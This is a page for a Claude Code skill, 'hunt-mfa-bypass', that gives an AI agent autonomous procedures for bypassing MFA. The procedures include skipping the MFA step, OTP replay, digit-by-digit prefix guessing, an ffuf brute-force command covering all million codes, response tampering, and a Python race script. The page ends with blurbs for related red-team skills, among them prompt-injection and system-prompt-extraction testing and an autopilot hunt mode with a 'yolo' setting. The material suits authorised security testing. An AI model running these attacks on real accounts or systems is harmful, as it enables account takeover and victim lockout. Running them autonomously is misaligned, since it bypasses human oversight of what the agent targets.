hunt-mfa-bypass
The hunt-mfa-bypass Claude Code skill identifies seven distinct MFA and 2FA vulnerabilities including unenforced MFA on sensitive endpoints, OTP replay without invalidation, brute-force attacks on rate-limited OTP validation, race conditions during verification, recovery code exposure, and workflow bypasses that skip authentication steps entirely. Use this skill when testing authentication flows, identifying account takeover chains, and validating MFA implementation robustness in security assessments.
git clone --depth 1 https://github.com/elementalsouls/Claude-BugHunter /tmp/hunt-mfa-bypass && cp -r /tmp/hunt-mfa-bypass/skills/hunt-mfa-bypass ~/.claude/skills/hunt-mfa-bypassSKILL.md
## Autonomous Testing Priority
**Try workflow bypasses before brute force — they're faster and more likely to succeed.**
**Pattern 1 — Skip the MFA step entirely (most automatable):**
1. Login with valid credentials → receive a "pre-MFA" session state
2. Without completing MFA, directly access a protected resource (`/dashboard`, `/api/me`, `/account/profile`)
3. If the response returns user data → MFA is enforced only in the UI, not server-side = Critical
**Pattern 2 — OTP replay (reuse a consumed code):**
1. Complete a valid MFA flow to get a working OTP
2. Log out, log in again with the same credentials
3. Submit the same OTP again
4. If accepted → OTP is not invalidated after use
**Pattern 3 — Submit obviously wrong OTP, observe response:**
Try submitting `000000` or `123456`. If the response is 200 or returns a session token, OTP validation is broken or client-side only.
**Pattern 4 — Partial / incremental validation (prefix oracle):**
If a guessed full code is rejected, test whether the server validates the OTP **prefix-by-prefix** instead of all-or-nothing. Submit a short partial code and compare responses:
1. Submit a 1–3 digit value (e.g. `otp=1`, then `otp=12`, …) — for a POST verify endpoint the code goes in the **request body**, not the URL query string, or the server reads an empty value.
2. If a *correct* prefix gives a DIFFERENT response than a wrong one (a success/flag, a distinct message, or a different length/timing), the validator leaks correctness one chunk at a time.
3. Walk the code digit-by-digit: keep the prefix that "responds correct," append 0–9, repeat. This collapses 10^6 brute force to ~10×N guesses (≤60 for a 6-digit code) — very feasible in a bounded test.
This is the go-to when there is no leaked code and no skip/replay path. Some apps award success on *any* correct prefix outright (so a single correct first digit can win — sweep `otp=0,1,…,9` before giving up).
**CRITICAL — stay in ONE session:** re-authenticating (POST /…/login again) regenerates the OTP, throwing away your prefix progress. Do the entire sweep against a single established MFA session; never re-login between guesses.
**On full brute force:** brute-forcing all 10^6 codes is infeasible in a bounded test — but the prefix oracle above (Pattern 4) usually makes it unnecessary. Only attempt full brute force with evidence of no rate limit AND a small key space.
**Proof:** A session token or protected resource data in the response without completing MFA confirms the bypass.
---
## 19. MFA / 2FA BYPASS
> Growing bug class — 7 distinct patterns. Pays High/Critical when it enables ATO without prior session.
### Pattern 1: No Rate Limit on OTP
```bash
# Test with ffuf — all 1M 6-digit codes
ffuf -u "https://target.com/api/verify-otp" \
-X POST -H "Content-Type: application/json" \
-H "Cookie: session=YOUR_SESSION" \
-d '{"otp":"FUZZ"}' \
-w <(seq -w 000000 999999) \
-fc 400,429 -t 5
# -t 5 (slow down) — aggressive rates get 429 or ban
```
### Pattern 2: OTP Not Invalidated After Use
```
1. Login → receive OTP "123456" → enter it → success
2. Logout → login again with same credentials
3. Try OTP "123456" again
4. If accepted → OTP never invalidated = ATO (attacker sniffs OTP once, reuses forever)
```
### Pattern 3: Response Manipulation
```
1. Enter wrong OTP → capture response in Burp
2. Change {"success":false} → {"success":true} (or 401 → 200)
3. Forward → if app proceeds → client-side only MFA check
```
### Pattern 4: Skip MFA Step (Workflow Bypass)
```bash
# After entering password, app sets a "pre-mfa" cookie → redirects to /mfa
# Test: skip /mfa entirely, access /dashboard directly with pre-mfa cookie
# If app grants access without MFA = auth flow bypass = Critical
curl -s -b "session=PRE_MFA_SESSION" https://target.com/dashboard
```
### Pattern 5: Race on MFA Verification
```python
import asyncio, aiohttp
async def verify(session, otp):
async with session.post("https://target.com/api/mfa/verify",
json={"otp": otp}) as r:
return r.status, await r.text()
async def race():
cookies = {"session": "YOUR_SESSION"}
async with aiohttp.ClientSession(cookies=cookies) as s:
# Fire ~30 concurrent submissions of the SAME OTP to hit the TOCTOU
# window before the server marks it used. Two requests are NOT enough —
# they almost always resolve sequentially as "already-used" (false negative).
# Best done as a single-packet / 20+ HTTP-2-stream attack (Turbo Intruder).
results = await asyncio.gather(*[verify(s, "123456") for _ in range(30)])
# Race confirmed if >1 success (or 1 success among many "already-used").
for status, body in results:
print(status, body)
asyncio.run(race())
```
### Pattern 6: Backup Code Brute Force
```
Backup codes: typically 8 alphanumeric = 36^8 = ~2.8T (too large)
BUT: check if backup codes are only 6-8 digits = 1-10M range = feasible with no rate limit
Also test: can backup codes be reused after exhaustion? Some apps regenerate predictably.
```
### Pattern 7: "Remember This Device" Trust Escalation
```
1. Complete MFA once on Device A (attacker's browser)
2. Capture the "remember device" cookie
3. Present that cookie from a new IP/browser
4. If MFA skipped = device trust not bound to IP/UA = ATO from any location
```
### MFA Chain Escalation
```
Rate limit bypass + no lockout = ATO (Critical)
Response manipulation = client-side only check = Critical
Skip MFA step = auth flow bypass = Critical
OTP reuse = persistent session hijack = High
```
---
## Related Skills & Chains
- **`hunt-ato`** — MFA bypass is a primitive; ATO is the destination. Chain primitive: cookie theft (via XSS or session-fixation) + password oracle (login response timing/length diff reveals valid passwords without lockout) + no MFA step-up on password-change endpoint = persistent ATO without ever facing the OTP challenge → password rotated, attacker locks victim out.
- *End-to-end Android APK red-team pipeline — automated APK acquisition (Play Store + apkpure + apkmirror fallback), jadx decompilation, secret/URL/JWT/Firebase grep, pinned-cert extraction, exported-component enumeration, Frida runtime instrumentation templates, intent-injection probes. Built from an authorized external red-team engagement where 7 APKs were pulled manually, 4 download attempts truncated, and a hardcoded JWT + 30 internal API endpoints were recovered from one of the apps. Use when target has a mobile app catalogue (Play Store developer page), when you find an APK URL hosted on a web server, or when post-recon mentions "mobile app" in scope.
Run autonomous hunt loop on a target — scope check → recon → rank surface → hunt → validate → report with configurable checkpoints. Usage: /autopilot target.com [--paranoid|--normal|--yolo]
Local-tooling companion to the bug-bounty orchestrator — carries the SAME complete bug-bounty workflow, but reach for THIS variant when you also need to resolve where tools, wordlists, and clones are installed on the local machine (jhaddix, SecLists, trufflehog, ffuf, dalfox, ghauri); for pure orchestration/routing use the bug-bounty skill. Workflow it covers — recon (subdomain enumeration, asset discovery, fingerprinting, HackerOne scope, source code audit), pre-hunt learning (disclosed reports, tech stack research, mind maps, threat modeling), vulnerability hunting (IDOR, SSRF, XSS, auth bypass, CSRF, race conditions, SQLi, XXE, file upload, business logic, GraphQL, HTTP smuggling, cache poisoning, OAuth, timing side-channels, OIDC, SSTI, subdomain takeover, cloud misconfig, ATO chains, agentic AI), LLM/AI security testing (chatbot IDOR, prompt injection, indirect injection, ASCII smuggling, exfil channels, RCE via code tools, system prompt extraction, ASI01-ASI10), A-to-B bug chaining (IDOR→auth bypass, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth), bypass tables (SSRF IP bypass, open redirect bypass, file upload bypass), language-specific grep (JS prototype pollution, Python pickle, PHP type juggling, Go template.HTML, Ruby YAML.load, Rust unwrap), and reporting (7-Question Gate, 4 validation gates, human-tone writing, templates by vuln class, CVSS 3.1, PoC generation, always-rejected list, conditional chain table, submission checklist). Use when you need the local install path of a tool / wordlist / clone for a hunt, or as the full-workflow variant when operating from this local toolkit; for general routing use the bug-bounty skill. 中文触发词：漏洞赏金、安全测试、渗透测试、漏洞挖掘、信息收集、子域名枚举、XSS测试、SQL注入、SSRF、安全审计、漏洞报告
Use at the START of any bug bounty hunting session, when switching targets, or when feeling lost about what to do next. Master orchestrator that combines the 5-phase non-linear hunting workflow with the critical thinking framework (developer psychology, anomaly detection, What-If experiments). Routes to all other skills based on current hunting phase. Also use when asking "what should I do next" or "where am I in the process.
Complete bug bounty workflow — recon (subdomain enumeration, asset discovery, fingerprinting, HackerOne scope, source code audit), pre-hunt learning (disclosed reports, tech stack research, mind maps, threat modeling), vulnerability hunting (IDOR, SSRF, XSS, auth bypass, CSRF, race conditions, SQLi, XXE, file upload, business logic, GraphQL, HTTP smuggling, cache poisoning, OAuth, timing side-channels, OIDC, SSTI, subdomain takeover, cloud misconfig, ATO chains, agentic AI), LLM/AI security testing (chatbot IDOR, prompt injection, indirect injection, ASCII smuggling, exfil channels, RCE via code tools, system prompt extraction, ASI01-ASI10), A-to-B bug chaining (IDOR→auth bypass, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth), bypass tables (SSRF IP bypass, open redirect bypass, file upload bypass), language-specific grep (JS prototype pollution, Python pickle, PHP type juggling, Go template.HTML, Ruby YAML.load, Rust unwrap), and reporting (7-Question Gate, 4 validation gates, human-tone writing, templates by vuln class, CVSS 3.1, PoC generation, always-rejected list, conditional chain table, submission checklist). Use for ANY bug bounty task — starting a new target, doing recon, hunting specific vulns, auditing source code, testing AI features, validating findings, or writing reports. 中文触发词：漏洞赏金、安全测试、渗透测试、漏洞挖掘、信息收集、子域名枚举、XSS测试、SQL注入、SSRF、安全审计、漏洞报告
Bugcrowd-specific reporting tactics complementing report-writing: VRT category search-and-fallback strategy when no exact match exists, manual severity override when VRT defaults underrate impact, severity-request paragraph as first body section, OOS-clause rebuttal templates (rate limiting on auth-flow endpoints, debug-info framing, user-enumeration with sensitive PII, theoretical-issue counter), chained-finding cross-reference patterns, target selection for QA-vs-prod programs, researcher-side hygiene (Bugcrowdninja email alias, account state restoration, friendly-tester posture). Use when filing a Bugcrowd submission, when VRT default seems wrong, when triager closes as OOS or downgrades severity, when chaining linked submissions, or when scope distinguishes production from QA. Pairs with report-writing and triage-validation.
Build an exploit chain — given bug A, finds B and C to combine for higher severity and payout. Knows common chain patterns: IDOR→ATO, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth. Usage: /chain
Cloud IAM red-team attack chain across AWS, Azure, GCP — focused on EXTERNAL exploitation paths and post-credential-discovery privilege analysis. Covers IAM enumeration (aws iam, az role, gcloud iam), STS/AssumeRole chaining, Azure Managed Identity abuse (via SSRF/leak), GCP service account JSON abuse, IMDSv1/v2 attacks via SSRF, K8s ServiceAccount token privilege analysis once held (token discovery / cluster exposure is owned by hunt-k8s), role-trust-policy confused-deputy, cross-account assume-role enumeration, IAM privilege escalation patterns (24+ AWS, 8+ Azure, 6+ GCP), and AWS Cognito Identity Pool unauthenticated-role attack chain (GetId → GetCredentialsForIdentity → IAM role abuse). Built for the case where recon yields a credential (key, JSON, token) and you need to know what it grants and how to escalate. Use when an AWS key / Azure secret / GCP service account JSON / K8s SA token surfaces from a code repo, JS bundle, APK, breach corpus, or SSRF chain.